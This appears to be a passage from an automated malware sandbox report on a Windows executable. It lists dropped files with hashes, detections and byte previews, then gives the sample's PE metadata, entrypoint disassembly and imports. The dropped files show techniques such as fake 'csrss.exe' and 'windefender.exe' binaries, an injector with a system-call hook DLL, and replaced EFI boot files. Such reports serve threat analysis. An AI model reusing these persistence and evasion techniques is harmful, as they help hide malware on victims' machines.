MD5:	2B84CB96AE6280C2020FA46E4A8A07D8
SHA1:	E920E40CFC0C6A805D657C8F23F9C0612CD39F59
SHA-256:	01E86A4DFE6E0DE7857B3CF2FAFD041C8B3A3241E00844CB6BFBD3BFAE2D36BC
SHA-512:	F1A6598116F78FBA1F9531301A7313AC204BAB3B7AEBC299F69F2ED406F4EDAFC3410DB860E93D0DC7C24398F5A7FF595764400F31A3A06679FD6EC0EFB116D9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ..............................................................................................................................................................................................PE..d................." ................x........................................................................................................................P...............p.......................................................................................text.............................. ..h.data..............................@....pdata.......P.......8..............@..H.xdata..X....`.......<..............@..B.reloc.......p.......B..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Boot\bootx64.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Microsoft\Boot\bootmgfw.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24860209766349026
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4K:BJiRdwfu2SRU4K
MD5:	62CFCB4771114C1CF5A870408AEC2F62
SHA1:	AE6C80023D0E63AE7A1506EF47E39BE9DDF15817
SHA-256:	31F55C5A05D41DC710CE5D9D7A5D4F36A7291439340EEE73F564E1808C43BA7C
SHA-512:	356E700D1DCC90C27EE3A7EAA1073944EBFF1B5E1467217168C41E9F4C297358E7A81B0DBA85E85875DE10ED0C607611683D45408047B0C8079B5A104636DA7A
Malicious:	false
Reputation:	unknown
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb7bab181, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.25072190853911747
Encrypted:	false
SSDEEP:	384:k+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:bSB2nSB2RSjlK/+mLesOj1J2
MD5:	CE45C4C54F4721C0E7B59DA173A86D48
SHA1:	03FC1C65F592C764B7B6854BD3D380371332450F
SHA-256:	14E04B71AB90562422D5DA001BCF6131E0F3153B23D90E3C81023A533EC0CD11
SHA-512:	1BB3DA12660F3949BDAA0D3B96DC693494013AF3D48EB1D5B8D705E748CA258079F1A1E55735F950D0B07477CDF94CCE8736A6E4F284C287E38B12C45C2971CA
Malicious:	false
Reputation:	unknown
Preview:	....... ................e.f.3...w........................&..........w.......y..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w......................................................................................................................................................................................................................................^.s\|.....y..........................y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07689943775674257
Encrypted:	false
SSDEEP:	3:uKzl1Ev8Qqkj8l/bJdAti3TBAckxqll3Vkttlmlnl:ucQ8Cj8t4cLGe3
MD5:	D9C83E6240F2935B54A0D50F6DE4748B
SHA1:	54AA88C6E4668CF5E3928C76B88A4CCA49B7ED8A
SHA-256:	66CE18F6DBE2020539676A7A4CBDB4B76322586785AAC74D25A9977BAAF8DF68
SHA-512:	2F499FC697C4F3A8B50CFE71F0E253FE3FE90D049AAE40A2CCFC0351073290A3BA2C9CF38EA7CE13737729FDAE5EFAB1FFDC556D97B346A4E8934436DBF05AC8
Malicious:	false
Reputation:	unknown
Preview:	..{.....................................3...w.......y.......w...............w.......w....:O.....w..........................y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	5.951577458824018
Encrypted:	false
SSDEEP:	3072:U3JJpaHtGsxJZ7zmaUMf2ETb4w1GMYbuT:csTF5U3EfndT
MD5:	09031A062610D77D685C9934318B4170
SHA1:	880F744184E7774F3D14C1BB857E21CC7FE89A6D
SHA-256:	778BD69AF403DF3C4E074C31B3850D71BF0E64524BEA4272A802CA9520B379DD
SHA-512:	9A276E1F0F55D35F2BF38EB093464F7065BDD30A660E6D1C62EED5E76D1FB2201567B89D9AE65D2D89DC99B142159E36FB73BE8D5E08252A975D50544A7CDA27
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 59%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b..............k......k......k..r...w......w......w......k............. w...... w...... w......Rich............PE..d...o.D`.........." ................$/....................................................`..................................................g..(...............p...............<....W..8...........................@W..8............................................text............................... ..`.rdata.............................@..@.data................d..............@....pdata..p............p..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	288256
Entropy (8bit):	6.31266455792162
Encrypted:	false
SSDEEP:	3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5:	D98E33B66343E7C96158444127A117F6
SHA1:	BB716C5509A2BF345C6C1152F6E3E1452D39D50D
SHA-256:	5DE4E2B07A26102FE527606CE5DA1D5A4B938967C9D380A3C5FE86E2E34AAAF1
SHA-512:	705275E4A1BA8205EB799A8CF1737BC8BA686925E52C9198A6060A7ABEEE65552A85B814AC494A4B975D496A63BE285F19A6265550585F2FC85824C42D7EFAB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 14%, Browse Antivirus: ReversingLabs, Detection: 73%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................\|..............................................t...........Rich...................PE..d...l.D`..........".................T..........@..........................................`.....................................................(............`...'..............`...@...8...............................8............................................text...H........................... ..`.rdata...9.......:..................@..@.data...`....0......................@....pdata...'...`...(..................@..@_RDATA...............V..............@..@.rsrc................X..............@..@.reloc..`............Z..............@..B........................................................................................................................................................................................................

C:\Windows\Logs\CBS\CBS.log Download File
Process:	C:\Windows\servicing\TrustedInstaller.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	3080192
Entropy (8bit):	5.314677060690424
Encrypted:	false
SSDEEP:	6144:TLS5YygL1mnGVFQa/qJIxOfTFyKQel5lmhSVjfChq4TMmdqrY:TL1dq
MD5:	9AE7A51D496A634205FC1E163D24574F
SHA1:	547F6678E1734DE065608CFAC9D25960F4ECD73B
SHA-256:	4A68123FC7B323FEFE7D580968B53096B7BED38EFD6A0274179134713F8356D5
SHA-512:	FFDFA522058EF3B295F869392B4C2B763AA68917C61B1BC05173ED1CFE7074639F38CE4AA6CF3C12940B6B488AF5F5957D8A1DF221602AF941B43F5719918467
Malicious:	false
Reputation:	unknown
Preview:	.2019-06-27 00:55:29, Info CBS TI: --- Initializing Trusted Installer ---..2019-06-27 00:55:29, Info CBS TI: Last boot time: 2019-06-27 00:49:51.660..2019-06-27 00:55:29, Info CBS Starting TrustedInstaller initialization...2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsPublicSessionClassFactory, level: 30, total lock:4..2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsPublicSessionClassFactory, level: 30, total lock:5..2019-06-27 00:55:29, Info CBS Lock: New lock added: WinlogonNotifyLock, level: 8, total lock:6..2019-06-27 00:55:29, Info CBS Ending TrustedInstaller initialization...2019-06-27 00:55:29, Info CBS Starting the TrustedInstaller main loop...2019-06-27 00:55:29, Info CBS TrustedInstaller service starts successfully...2019-06-27 00:55:29, Info CBS No startup pr

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	7250
Entropy (8bit):	3.1696523299956785
Encrypted:	false
SSDEEP:	96:cEj+AbCEH+AbuEAc+AbhGEA+AbNEe+Ab/Ee+AbPE6w9+Ab1wTEi+AbP:cY+38+DJc+iGr+MZ+65+6tg+EC9+i
MD5:	284B0B1B01E651E4D3D158C8D4A24051
SHA1:	CAC8E6968FECA6E05992C40BAA7BC9BAB9AF7832
SHA-256:	0FF97CA974CDAAC80C75C8756E33B3A55CBFFE39AF1A6C7824DE88B20CF17810
SHA-512:	EC4867C8A1461C9CA72743E6336DCF2F7460A0AA363E382807892D5CB6D087C89FDE93EF66B0A17F579E80F5CE45565D8E55C1178B59D51AE1C56629A424F783
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211112_062440_754.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.3068474097959584
Encrypted:	false
SSDEEP:	96:sCNnCP2o+Jl5LJ9i/YaHC5II2lZ1kEO4p8T2SjFzWNMC16JRu:HLLoEF2NqnCuI
MD5:	0FCB69D699FEB9D8263C1247925DF2C3
SHA1:	31C6FD007A85E65E629887BA031F4A1E246653B9
SHA-256:	CADF95528832C8E4E9687F94BE275625E0626D4FA582752E99B5C77856FB2E39
SHA-512:	949923FCE51A0B4A6241983605A37B3F22823D292150B89CDFE45F6DBC6E050CC2526199CD9F07835E3CCE641B59BC8161EE2F5B59D0543E1BBCC846EFEA1D12
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!...............................t....\|W......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... .....J...............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.1.1.1.1.2._.0.6.2.4.4.0._.7.5.4...e.t.l.........P.P.....t....\|W.....................................................................................................................................................................................................................................................................

C:\Windows\rss\csrss.exe Download File
Process:	C:\Users\user\Desktop\rlavBKPBEc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4535848
Entropy (8bit):	7.948342395566356
Encrypted:	false
SSDEEP:	98304:Ivado5aecr/TifIDcDPy+8n2mjxZVevEmxlVwMBdG:SaW5aHr/TigxT2mXVevblVwMvG
MD5:	C2BD7979C8CDF20C691D8C604A6C4965
SHA1:	59DD2523B1E23D152AD10715E244C81619283BEC
SHA-256:	13654E2FE0C25303CD4697DD2F66C5D3B228CD3FFF6E97AC979257C0B0768CB8
SHA-512:	5C8FBD71EF9722C4B0110E5B842F31F946F5E5257F5F91DBC1C208BFABABA4E6E045DBC27DC7BC1B881B416CBF963E402EFD570AED3F78EF76FD2014A0599501
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\..2T.2T.2T..T.2T..T.2T..T..2T..T.2T.3TJ.2T..T.2T..T.2T..T.2TRich.2T................PE..L......`..................C...p......A.......C...@...................................F.......................................C.P.... ..X^............E.(...........P.................................A.@............................................text.....C.......C................. ..`.data...tho...C.......C.............@....rsrc...X^... ...`....C.............@..@.reloc... ......."....D.............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\windefender.exe Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	2102272
Entropy (8bit):	7.879347868736008
Encrypted:	false
SSDEEP:	49152:1+yuly+dcYwIx9qadRmAYBfo9hazz2Du5VDyn:1Cy+qa9qWmAYBQfazzpDy
MD5:	E0A50C60A85BFBB9ECF45BFF0239AAA3
SHA1:	AE0E12BC885CB5D4D26C49F6AE20ED40313EDF99
SHA-256:	FC8D064E05EBE37D661AECCB78F91085845E9E28CCFF1F9B08FD373830E38B7F
SHA-512:	03D1440B462B872B7AE4FCCBB455FC0C3AB4E9BF13D07726CE2A9FF9CE4A0E7632A45AF4B52265973D51C8C9D6E24CE84EF81FBAD23CDDF04B64F461FA55050D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........K............... ......p-...M...-...M...@...........................M...............................................M.....................................................................................................................UPX0.....p-.............................UPX1...... ...-... .................@...UPX2..........M....... .............@...3.95.UPX!....Y.P....dM... ...K.&'....... Go build ID: "8LgdNw10OMnjnEaf..o.ouob/F_u>d7bw5LzGyMt067q/f_4E....n-IIykrT4Xu-NukD/RUnzYH.IbGfj....1LuaRla". ...d...........;a.v ....'....D$...$...`..k..&...............f.......dnl.L$h......m..g$....4..$....,.....\H......1.1.TP....~..\|.\Z.;cpu.u.d,.T.@.....iT=........H9.............Y...?.............l.....0.9....lX..?(.\|$<).......!..}...$.T..$0............Z..\*f..on....m.......;5al..p7.......M..$.........L....A....9.}..w._.9.- .9....5...p........

\Device\Null Download File
Process:	C:\Windows\SysWOW64\sc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	39
Entropy (8bit):	3.964228182058903
Encrypted:	false
SSDEEP:	3:fxjRCqjv:ZMc
MD5:	2F1A2A9AA9E93E390CC54C36BDB0561B
SHA1:	BC13C3DAE9A3C2A7E45F08F2EF1BB14893078EC7
SHA-256:	706A0C615566BE5CC8D24596CD765A00BE7D5E036CA006DFBD8DE7BC6F7FA719
SHA-512:	4204246AF86876511D1748734BADD3008297EBBFD2E306BC00AED13BD5F5B2A946A0C5A72F3988429A5A4F09B2BFC4E2406D07E87A6F8FDD90309B2C9CCF97FF
Malicious:	false
Reputation:	unknown
Preview:	[SC] SetServiceObjectSecurity SUCCESS..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948342395566356
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rlavBKPBEc.exe
File size:	4535848
MD5:	c2bd7979c8cdf20c691d8c604a6c4965
SHA1:	59dd2523b1e23d152ad10715e244c81619283bec
SHA256:	13654e2fe0c25303cd4697dd2f66c5d3b228cd3fff6e97ac979257c0b0768cb8
SHA512:	5c8fbd71ef9722c4b0110e5b842f31f946f5e5257f5f91dbc1c208bfababa4e6e045dbc27dc7bc1b881b416cbf963e402efd570aed3f78ef76fd2014a0599501
SSDEEP:	98304:Ivado5aecr/TifIDcDPy+8n2mjxZVevEmxlVwMBdG:SaW5aHr/TigxT2mXVevblVwMvG
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\...2T..2T..2T...T..2T...T..2T...T..2T...T..2T..3TJ.2T...T..2T...T..2T...T..2TRich..2T................PE..L......`...........

File Icon


Icon Hash:	b2e8e8e8a2a2a488

Static PE Info

General
Entrypoint:	0x81a0f0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6001F9D1 [Fri Jan 15 20:23:45 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	89c49e3ae23d79644984deb991645019

Authenticode Signature

Signature Valid:	false
Signature Issuer:	PostalCode=10301
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	11/11/2021 12:26:49 PM 11/11/2022 12:26:49 PM
Subject Chain	PostalCode=10301
Version:	3
Thumbprint MD5:	8BE91322384D66557FF690EBBD262B8B
Thumbprint SHA-1:	716F4ABAA4D6F850070D7F366EE2CBE7C988DC43
Thumbprint SHA-256:	CBA120636BF47CC784F420F0EAF4C722161E0EA677906643907D9F3C0569C175
Serial:	00A8F1E6C57026708F88B4587D797697BD

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FD698A5595Bh
call 00007FD698A50986h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00838DE0h
push 0081EE30h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0083BBE0h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401094h]
cmp dword ptr [02F30870h], 00000000h
jne 00007FD698A50980h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401124h]
call 00007FD698A50B03h
mov dword ptr [ebp-6Ch], eax
call 00007FD698A58C2Bh
test eax, eax
jne 00007FD698A5097Ch
push 0000001Ch
call 00007FD698A50AC0h
add esp, 04h
call 00007FD698A535D8h
test eax, eax
jne 00007FD698A5097Ch
push 00000010h
call 00007FD698A50AADh
add esp, 04h
push 00000001h
call 00007FD698A58BD3h
add esp, 04h
call 00007FD698A569EBh
mov dword ptr [ebp-04h], 00000000h
call 00007FD698A54F6Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x439414	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2b32000	0x5e58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x452e00	0x828	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2b38000	0x1ab8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1250	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x419688	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1f8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x439010	0x439200	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x43b000	0x26f6874	0x1600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2b32000	0x5e58	0x6000	False	0.483194986979	data	5.06592110494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2b38000	0x120e4	0x12200	False	0.0792025862069	data	1.03287074736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x2b35970	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x2b35ab8	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x2b35be8	0xf0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x2b35cd8	0x10a8	dBase III DBT, version number 0, next free block index 40	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x2b36db0	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x2b324b0	0x8a8	data	Spanish	Paraguay
RT_ICON	0x2b32d58	0x6c8	data	Spanish	Paraguay
RT_ICON	0x2b33420	0x568	GLS_BINARY_LSB_FIRST	Spanish	Paraguay
RT_ICON	0x2b33988	0x10a8	data	Spanish	Paraguay
RT_ICON	0x2b34a30	0x988	data	Spanish	Paraguay
RT_ICON	0x2b353b8	0x468	GLS_BINARY_LSB_FIRST	Spanish	Paraguay
RT_STRING	0x2b37798	0x150	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2b378e8	0x252	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2b37b40	0x318	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2b358e8	0x88	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2b35880	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x2b35aa0	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x2b36d80	0x30	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x2b37658	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x2b35820	0x5a	data	Spanish	Paraguay
RT_VERSION	0x2b37670	0x128	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	GetConsoleAliasesLengthW, TlsGetValue, CommConfigDialogA, SetDllDirectoryW, InterlockedIncrement, _lwrite, ZombifyActCtx, GetSystemWindowsDirectoryW, GetNamedPipeHandleStateA, SetHandleInformation, SetConsoleScreenBufferSize, CancelWaitableTimer, FreeEnvironmentStringsA, CreateNamedPipeW, GetSystemTimeAsFileTime, GetPrivateProfileStringW, ReadConsoleW, GetWindowsDirectoryA, GetSystemWow64DirectoryA, QueryActCtxW, GetSystemTimes, GetSystemDirectoryW, GlobalFindAtomA, LoadLibraryW, GetConsoleMode, CopyFileW, SizeofResource, SetVolumeMountPointA, GetVersionExW, SetConsoleMode, HeapValidate, GetVolumePathNamesForVolumeNameW, GetModuleFileNameW, SearchPathW, GetACP, GetStartupInfoW, VerifyVersionInfoW, FindFirstFileExA, GetLastError, IsDBCSLeadByteEx, GetCurrentDirectoryW, SetLastError, GetProcAddress, SetFirmwareEnvironmentVariableW, CopyFileA, GlobalGetAtomNameA, BuildCommDCBW, GetPrivateProfileStringA, OpenWaitableTimerW, LocalAlloc, IsWow64Process, WritePrivateProfileStringA, GetModuleFileNameA, WriteProfileStringA, SetConsoleCursorInfo, GetModuleHandleA, FindFirstChangeNotificationA, CompareStringA, GetFileTime, SetProcessShutdownParameters, ReadConsoleInputW, FileTimeToLocalFileTime, TlsFree, 